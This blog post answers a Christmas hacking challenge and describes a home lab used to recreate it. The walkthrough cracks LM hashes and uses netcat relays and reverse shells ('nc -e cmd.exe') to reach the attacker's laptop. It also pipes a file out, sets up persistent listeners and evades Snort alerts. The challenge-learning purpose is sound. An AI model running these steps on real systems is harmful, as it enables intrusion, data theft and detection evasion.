The Christmas hacking challenge is located here. The answers and winners are available here.
I submitted the following overly long and rambling answer. I'm posting it here so I remember what I did and in case it helps somebody with similar problems. Following the answer, I explain how I modeled the environment described in the challenge.
1) What is interesting about the files that Ralphie could see on the
lamp server?
What is interesting is that the 'nc' file is most likely netcat: the
network Swiss army knife (http://www.vulnwatch.org/netcat/). Ralphie
can determine this for certain by emailing the command: nc -h.
The reply hopefully looks something like:
$ nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-e prog program to exec after connect [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]
The chimney file is a FIFO (named pipe). This is a special file that
has similar behaviors to a normal shell pipe but is actually part of
the filesystem. One process can write to the file while another
process reads from the file.
Together, the nc binary and chimney FIFO can be used to create a
netcat relay. Netcat relays can be used by attackers on intermediary
machines to disguise the true origin of an attack. To setup a netcat
relay on an intermediary machine, an attacker would execute:
mkfifo relay
nc -l -p 4761 0<relay | nc $nexthop 4761 1>relay
This creates a netcat instance listening on port 4761. The standard
output is sent through the shell pipe to another instance of netcat
that is going to connect to the next hop machine. The "0<relay"
causes the standard input (file number 0) of the first netcat instance
to be redirected and to be read from the relay file. The "1>relay"
causes the standard output (file number 1) of the second instance to
be redirected and to be written to the the relay file. So, ultimately
the output of the first nc instance becomes input to the second
instance, and the output of the second instance becomes input to the
first instance. Essentially, the two netcat instance become
coroutines.
With the netcat relay in place, an attacker can connect to the
intermediate machine and his connection will be forwarded on to a
waiting shoveled shell or another relay. The logs on the next hop
machine will show the IP address of the intermediate machine, not the
true IP address of the attacker. Multiple relays can be chained
together to further obfuscate the attackers actual IP address
(preferably using machines that are geographically and geopolitically
diverse).
It is also interesting that both the nc and chimney files are root
user/group owned, but the directory is owned by the lamp user. If
there was some mechanism to exploit the lamp server via the email
commands, an attacker (running as lamp) could possibly change the
directory permissions to make it writable and download a
modified/trojaned nc file. This change could go unnoticed unless a
file integrity checker (such as Tripwire) is run.
2) What is the significance of the Annie cyphertext?
The Annie cyphertext is a list of LAN Manager (LM) hashes
(http://en.wikipedia.org/wiki/LM_hash). LM hashes are the incredibly
weak password encryption employed by older versions of Microsoft
Windows and, to some extent, in newer versions for backwards
compatibility.
All of the hashes in the list end in AAD3B435B51404EE, which is the
telltale sign that these are LM hashes and the passwords are all less
that eight characters long. LM hashes are constructed from two halves
of a fourteen character password. Passwords that are less than
fourteen characters are null-padded and passwords longer than fourteen
are truncated. Since these passwords are not salted, any password
less than eight characters will always end up with the second half of
the hash as AAD3B435B51404EE (the hash of seven null characters).
The name of the podcast is "Little Ophcrack Annie", which gives a
pretty good hint on how to approach cracking the cyphertext. Ophcrack
is a Windows password cracker that uses rainbow tables to speed up the
cracking process (http://ophcrack.sourceforge.net/). Rainbow tables
are basically sets of pre-computed hashes that allow for rapid
matching of the hashes against a set of possible passwords. Rainbow
tables can either be generated or downloaded from the Internet for
various characters sets. Using them involves a time/memory tradeoff.
But since Ralphie has an old, beat-up laptop, he will probably be
using either Cain and Abel (http://www.oxid.it/cain.html) or John the
Ripper (http://www.openwall.com/john/).
Under Windows, we can use Cain from Cain and Abel to crack the hashes
using dictionaries, rainbow tables or brute force. Since all of the
passwords appear to be seven or fewer characters, there is a good
chance that the hashes can be cracked fairly quickly.
Assuming that the hashes are stored in file named "lm-hashes", we can
execute the following from the command line to put the hashes in a
more easily imported format:
(for /F %i in (lm-hashes) do @echo :"":"":%i:) > lm-hashes.lc
This creates a file that is in the L0phtCrack 2.x format which we can
import into Cain by selecting the "Cracker" sub-panel and choosing
"Add to list" (from File menu, right-click or Insert key). Cain has a
column that says "< 8" and we can see that all of the hashes have
passwords that are in fact less than eight characters.
If we select all of the newly imported hashes and right click, there
is a choice of Dictionary, Brute-Force or Cryptanalysis Attacks.
We'll start with a Dictionary attack for LM Hashes and just use the
default word-list that ships with Cain. After a few minutes of
grinding through the word-list, we end up with 12 of 13 hashes cracked
and the following passwords:
DRINK
MORE
OVAL
TINE
BUY
COUNTER
HACK
???????
USE
NET
CAT
RELAY
At this point, we still have one hash that hasn't been cracked, so we
could try using either the brute force or the cryptanalysis with
rainbow tables options or download a larger word list. But, instead
lets switch gears and see how John the Ripper handles the hashes.
Using FreeBSD 6.1, we'll download the latest free, development John
release (http://www.openwall.com/john/) and unpack it somewhere
convenient. John can be built with platform and architecture specific
optimizations to improve performance so compiling from source is
definitely the way to go. Follow the INSTALL directions in the doc
directory. In our case, we change to the src directory and execute:
make clean freebsd-x86-mmx
This will build the executable into the run directory which is where
we'll do the remainder of our work with John.
We'll move our 'lm-hashes' file into the the run directory. For LM
cracking, John expects its hash in the PWDUMP format. The PWDUMP
format is:
<user>:<id>:<lanman pw>:<NT pw>:comment:homedir:
and is documented at http://us1.samba.org/samba/ftp/pwdump/README.
To get the hashes in the proper format, we'll execute:
awk ' { print $0":"NR":"$0"::::" } ' lm-hashes > lm-hashes.pwdump
Finally, we'll execute John:
./john --incremental lm-hashes.pwdump
A few minutes, later john will complete. To show the list of
passwords:
./john --status lm-hashes.pwdump
Or, to format as a more readable list:
./john --show lm-hashes.pwdump | awk 'BEGIN {FS=":"} $1~/^[0-9A-F]+$/ {print $2}'
This results in:
DRINK
MORE
OVAL
TINE
BUY
COUNTER
HACK
RELOADE
USE
NET
CAT
RELAY
Or, putting them together "Drink more Ovaltine", "Buy Counter Hack
Reloade(sic)" and "Use Netcat Relay".
All that time spent cracking for two crummy commercials! And one of
them isn't even correct. Well, at least there may be a hint in there
on how to get at the Christmas list: use a netcat relay.
But first, let's fix the hash for "RELOADE" to make it say "RELOADED".
Switching back to Cain, we'll choose the Hash Calculator from the
Tools menu (or use Alt-C shortcut). The Hash Calculator can be used
to calculate a variety of very common hashes including LM hashes. For
some reason, only one-half of the LM hash is calculated at a time
though, so we'll have to split our password into two seven characters
sequences and combine them later. First, we enter "RELOADE", select
calculate and save the LM hash value: E414A2208C930D79. This matches
the first half of the Annie cyphertext, so we appear to be on the
right track. Next, we'll enter a single "D", hit calculate again and
save the LM hash value: 4A3B108F3FA6CB6D. Finally, we'll put the
results together to form a full hash value of:
E414A2208C930D794A3B108F3FA6CB6D
If the hash is run back through John, it does indeed get cracked as
"RELOADED".
So, "Buy Counter Hack Reloaded" indeed.
3) What command could Ralphie e-mail to the lamp to get access to the
command shell on the furnace server from the kid's network to read
the Christmas list? What should Ralphie do on his own laptop for
this to work? ...
According to the network diagram, there are two unfiltered outbound
ports from the protected network: 80 and 443. Either one of these
could be used to facilitate retrieving the Christmas gift list by
setting up a netcat listener on Ralphie's laptop and connecting to it.
Without knowing more about the firewall in between, it is really a
toss up which port to use. Although it may be suspicious for plain
text traffic to flow out over port 443, it may also be possible that
there is a transparent web proxy handling port 80 traffic. A
transparent web proxy would most likely reject invalid/malformed HTTP
requests which would prevent our shell from functioning properly.
Additionally, an IDS running on the firewall may be tuned to inspect
more port 80 traffic since the bulk of port 443 traffic is encrypted.
With this in mind we'll select port 443 to use.
For any of this to work, Ralphie needs to setup a netcat listener on
his laptop. Since port 443 (and port 80) are both privileged ports,
Ralphie will need to be running with administrator or root privileges.
Under Windows, he'd execute:
nc -n -v -L -p 443
The "-n" argument suppresses DNS queries, the "-v" argument increases
the verbosity, the "-L" argument causes netcat to re-listen after the
socket closes and "-p" specifies the local port.
Under a Unix-like operating system, there is no "-L", but Ralphie can
use a while loop instead:
while [ true ]; do nc -n -v -l -p 443; done
With a netcat listener running, Ralphie would email the following
command to the lamp server:
nc -n -w 3 10.11.11.11 443 0<chimney | nc -n -w 3 10.10.10.10 2222 1>chimney
This will create a netcat relay on the lamp server. The first netcat
instance connects out to Ralphie's laptop and the second instance
connects to the furnace system. The chimney FIFO is used to redirect
the standard input of the first instance and the standard output of
the second instance. The "-n" argument prevents DNS queries and the
"-w 3" argument gives a small network timeout.
If everything works, Ralphie should see a connection on his netcat
listener:
connect to [10.11.11.11] from (UNKNOWN) [10.10.10.20] 33015
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\>
After this, it is pretty much game over because the
Christmas_gift_list.txt file is right there. But, depending on
Ralphie's long term intentions, he may consider reinforcing his
position by downloading additional exploits to elevate his privileges,
setting up a backdoor or installing a rootkit.
But what if this didn't work? What may have caused it to fail and how
could Ralphie work around it?
One thing that may cause the netcat relay to fail is if the commands
are being launched in a restricted shell. Many Linux shells implement
a restricted mode (e.g., "bash -r", "zsh -r") and these are often used
to provide a subset of normal shell access. One of the common
features of a restricted shell is that output redirections don't work.
If we can't redirect the output of one of our netcat instances, we
won't be able to create the netcat relay.
One possible work around depends on how fastidious the administrator
was when configuring the restricted shell. There are many features of
the shell that are builtins and are executed without needing to be in
the path. For example, the "type" command can be used to discover
full paths to executables, the "dirs" command can show the current
directory, etc. Depending on the shell some builtins can be disabled.
The command Ralphie would be most interested in is "echo". With
"echo" available, there really isn't any need to have a netcat relay
on the lamp, because he can just email this command:
echo '(start /b nc.exe -n -w 3 10.11.11.11 443 -e cmd.exe) & exit' |
nc -n -w 3 10.10.10.10 2222
With this command, the lamp server will connect to the furnace and the
"(start /b nc.exe -n -w 3 10.11.11.11 443 -e cmd.exe) & exit" will be
executed by the waiting cmd.exe; this will in turn start a new
background netcat instance to connect out to Ralphie's laptop and end
the current session. The end result is the same, but now the outbound
connection now originates from the furnace:
connect to [10.11.11.11] from (UNKNOWN) [10.10.10.10] 1070
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\>
And if even this approach fails, Ralphie should go ahead and try the
following to get shell access on the lamp:
nc -n -w 3 10.11.11.11 443 -e $SHELL
Although he may not have been able to get a shell directly, sometimes
a shell can be launched from another program. Then from, the lamp
shell he can directly connect to the furnace using:
nc -v -n -w 3 10.10.10.10 2222
4) How can Ralphie make the activities you describe above less likely
to be detected by his Old Man?
First things first. The network diagram shows that the nc process on
the furnace was launched with "-l" and not "-L". That means that once
Ralphie ends his session, he won't have any way to re-gain access to
the server. It also means that the Old Man can't connect while
Ralphie is working. So, once Ralphie gets access to a command shell
on the furnace, he needs to start a new netcat instance listening on
port 2222 to replace the one he just used:
start nc.exe -l -p 2222 -e cmd.exe
Now might also be a good time to launch another netcat instance in the
background, this time on a different port and with the "-L" option:
start /b nc.exe -L -p 3333 -e cmd.exe
Ralphie could repeat his previous exploit steps but this time over
port 3333. Depending on his privilege level, he may be able to
schedule a job using "at" to occasionally relaunch his netcat listener
in case the furnace is restarted.
As an additional step to avoid detection, Ralphie could create
multiple netcat relays on intermediate boxes and chain them together.
This would help disguise his actual IP address. But since at least
one will need to be listening on a privileged port (80 or 443),
Ralphie will need to own (or 0wn) the machine in question. And the
Old Man might be curious if he sees mysterious connections from the
furnace to ADSL lines in South Korea or Israel. This could lead the
Old Man to perform a little bit of forensic investigation on both the
furnace and lamp server. Given that Ralphie has been emailing all of
these commands trying to get something working, there is bound to be a
little bit of evidence in the mail log on the lamp. Unless Ralphie
has another machine on the kid's network, it may be better to avoid
unnecessary complications that might draw attention to his activities.
There may be one more thing to consider. If the Old Man is serious
about security, he may have some sort of intrusion detection system
running on the firewall between the kid's network and the protected
network. For example, let's consider that Snort is running on the
firewall and watching both sides of the network. Ralphie's first
email command of "id" may have generated an alert something like this:
[**] [1:1882:10] ATTACK-RESPONSES id check returned userid [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
12/20-11:43:31.828900 10.10.10.20:32856 -> 10.11.11.11:25
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:200
***AP*** Seq: 0xFAFB67F Ack: 0x19E5DDF3 Win: 0x5A8 TcpLen: 20
Or when he connected through the netcat relay on the lamp:
[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
12/20-12:00:10.541141 10.10.10.20:32869 -> 10.11.11.11:443
TCP TTL:64 TOS:0x0 ID:24491 IpLen:20 DgmLen:137 DF
***AP*** Seq: 0x418DDB9 Ack: 0xDCAB8B0 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 426515 989210
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]
Or maybe when he connected directly from the furnace:
[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
12/20-12:30:07.970196 10.10.10.10:1048 -> 10.11.11.11:443
TCP TTL:128 TOS:0x0 ID:463 IpLen:20 DgmLen:125 DF
***AP*** Seq: 0xC3961F7C Ack: 0x7F998196 Win: 0xFFFF TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]
The last two alerts are the most concerning and Ralphie would be wise
to avoid generating them. Unfortunately, he doesn't have many good
options because his only way into the furnace is through the netcat
listener which will always respond with the command shell banner and
trigger the alert.
Now, if the protected network is like most "protected" networks there
isn't any IDS running between the lamp and the furnace, and this fact
can be exploited. If there is a way to keep the command shell banner
response between the furnace and the lamp, then this will bypass the
IDS.
Ralphie can try using echo again to build a command that retrieves
exactly what he wants. Since, this is a one shot, he'll need to
include everything in the one email command:
echo '(start nc.exe -l -p 2222 -e cmd.exe) & (start /b cmd.exe /c
"(type c:\Christmas_gift_list.txt 2>&1 | nc.exe -n -w 3 10.11.11.11
443) & exit ") & exit' | nc -n -w 3 10.10.10.10 2222
The echo builds a command string:
- (start nc.exe -l -p 2222 -e cmd.exe) will start a new netcat listener
- (start /b cmd.exe /c "(type c:\Christmas_gift_list.txt 2>&1 |
nc.exe -n -w 3 10.11.11.11 443) will launch a background command
shell to output the contents of the Christ_gift_list.txt file which
will be piped to the waiting listener on Ralphie's laptop
- a couple of exits to cleanup
which all gets piped over to the netcat listener on the furnace to be
executed.
So, does it work? Ralphie will get the gift list, but unfortunately,
an alert is still generated:
[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
12/20-14:12:56.188396 10.10.10.20:32892 -> 10.11.11.11:25
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:240
***AP*** Seq: 0xF89187BD Ack: 0x29D650F Win: 0x5A8 TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]
An alert is being triggered by the email that is being returned to
Ralphie from the lamp:
$ echo '(start nc.exe -l -p 2222 -e cmd.exe) & (start /b cmd.exe /c "(type
c:\Christmas_gift_list.txt 2>&1 | nc.exe -n -w 3 10.11.11.11 443) & exit ") &
exit' | nc -n -w 3 10.10.10.10 2222
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\>
Ralphie can try one final trick and that is to create a dummy shell
variable and use it to gobble up the response. The command to execute
is placed in backticks:
x="`echo '(start nc.exe -l -p 2222 -e cmd.exe) & (start /b cmd.exe /c
"(type c:\Christmas_gift_list.txt 2>&1 | nc.exe -n -w 3 10.11.11.11
443) & exit ") & exit' | nc -n -w 3 10.10.10.10 2222`"
This time no alert is generated. And it looks like Ralphie will be
getting his official Red Rider carbine-action, two hundred Gig model
laptop.
But he'll probably just hack his eye out.
LM Hashes
I wrote a Perl script (make-lm-hash.pl) to generate batches of LM hashes from the command
line. I used this to validate my cracking. It is a very
inefficient implementation but it works.
Network
I modeled the network environment by using VMware server. Since
I had already allocated a 10.0.0.0/8 network for other uses, I
used the following IP addresses:
192.168.11.11 ralphie-laptop.localdomain ralphie-laptop 192.168.10.10 furnace.localdomain furnace 192.168.10.20 lamp.localdomain lamp
The firewall was a dual-homed FreeBSD instance and each machine used hard-coded IP addresses and static routes. Ralphie's laptop was Windows XP, the lamp server was Redhat 9, and obviously the furnace was Windows 2003 Server.
Lamp Server
The lamp server was configured with this
script.
It performs the following actions:
\root, "|exec runlamp"
Ralphie's Laptop
Used latest Cygwin and installed additional packages:
The exim configuration was updated:
$ diff -b /etc/exim.conf /etc/defaults/etc/exim.conf 59c59 < domainlist local_domains = @ : 192.168.11.11 --- > domainlist local_domains = @ 374c374 < # require verify = sender --- > require verify = sender 411c411 < domains = +local_domains : +relay_to_domains --- > domains = +local_domains : +relay_domains
Commands were emailed to the lamp using this script.